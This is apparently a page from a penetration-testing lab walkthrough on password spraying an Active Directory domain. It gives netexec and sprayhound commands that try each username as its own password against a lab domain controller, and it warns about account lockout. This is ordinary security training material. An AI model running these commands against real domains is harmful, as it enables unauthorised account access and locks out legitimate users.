⚔️4.2 - Password Spray

With users name but no credentials

Password Spray

Classic try: user=password, example: hodor:hodor

Netexec

nxc smb 192.168.56.11 -u usersList.txt -p usersList.txt --no-bruteforce --continue-on-success

Sprayhound

sprayhound -U usersList.txt -d north.sevenkingdoms.local -dc 192.168.56.11 --lower

Doing password spray, you can lock accounts ! - Allways see before the police password

Previous4.1 - Guest access shares on SMB sharesNext4.3 - ASREP Roasting

Last updated